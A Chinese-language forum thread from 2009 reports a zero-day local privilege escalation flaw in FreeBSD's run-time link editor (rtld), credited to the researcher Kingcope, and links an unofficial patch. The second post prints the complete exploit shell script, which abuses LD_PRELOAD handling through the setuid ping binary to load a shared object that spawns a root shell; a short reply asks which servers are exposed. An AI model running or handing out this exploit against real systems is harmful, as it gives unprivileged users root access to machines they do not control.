容器技术交流

 找回密码
 立即注册
查看: 2737|回复: 2

FreeBSD爆严重安全漏洞,安全专家称疑是圣诞前的礼物

[复制链接]
skyyw 该用户已被删除
发表于 2009-12-8 21:57:52 | 显示全部楼层 |阅读模式
http://baoz.net/freebsd8-localroot-0day/

在圣诞节即将到来的日子,以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日(0day)漏洞。据Kingcope所说,他长期致力于挖掘FreeBSD系统的本地提权漏洞,终于有幸在近期发现了这个非常低级的本地提权漏洞;这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中,普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛,包括FreeBSD 7.1至8.0的32及64位系统。

在展示该漏洞威力之前,我们科普一下著名黑客kingcope。从2007年6月至今,他一共公开了12个安全漏洞(没公开的不知道有多少),其中 FreeBSD和Sun Solaris各两个,微软四个,Oracle、mysql、NcFTPD和nginx各一个,同时他还编写了多个漏洞的攻击代码,例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。

接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程,请注意图中的红色部分;我们只要执行名为fbsd8localroot.sh的脚本,就可以轻易的获得root权限。

FreeBSD尚未就该0day漏洞发布安全公告及官方补丁,敬请关注素包子的博客http://baoz.net/freebsd8-localroot-0day/以获取该漏洞的最新情况。

非官方补丁地址 http://people.freebsd.org/~cperciva/rtld.patch
skyyw 该用户已被删除
 楼主| 发表于 2009-12-8 22:00:13 | 显示全部楼层
  1. #!/bin/sh
  2. echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
  3. cat > env.c << _EOF
  4. #include <stdio.h>
  5. main() {
  6. extern char **environ;
  7. environ = (char**)malloc(8096);
  8. environ[0] = (char*)malloc(1024);
  9. environ[1] = (char*)malloc(1024);
  10. strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);
  11. execl(”/sbin/ping”, “ping”, 0);
  12. }
  13. _EOF
  14. gcc env.c -o env > /dev/null 2>&1
  15. #download from baoz.net
  16. cat > program.c << _EOF
  17. #include <unistd.h>
  18. #include <stdio.h>
  19. #include <sys/types.h>
  20. #include <stdlib.h>
  21. void _init() {
  22. extern char **environ;
  23. environ=NULL;
  24. system(”echo ALEX-ALEX;/bin/sh”);
  25. }
  26. _EOF
  27. gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env
复制代码
发表于 2009-12-8 22:45:08 | 显示全部楼层
如果服务器自己使用应该没有问题吧??

这个主要影响到虚拟主机公用的情况??
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Archiver|URLOS ( 粤ICP备18087780号 )

GMT+8, 2025-5-11 07:55 , Processed in 0.026920 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表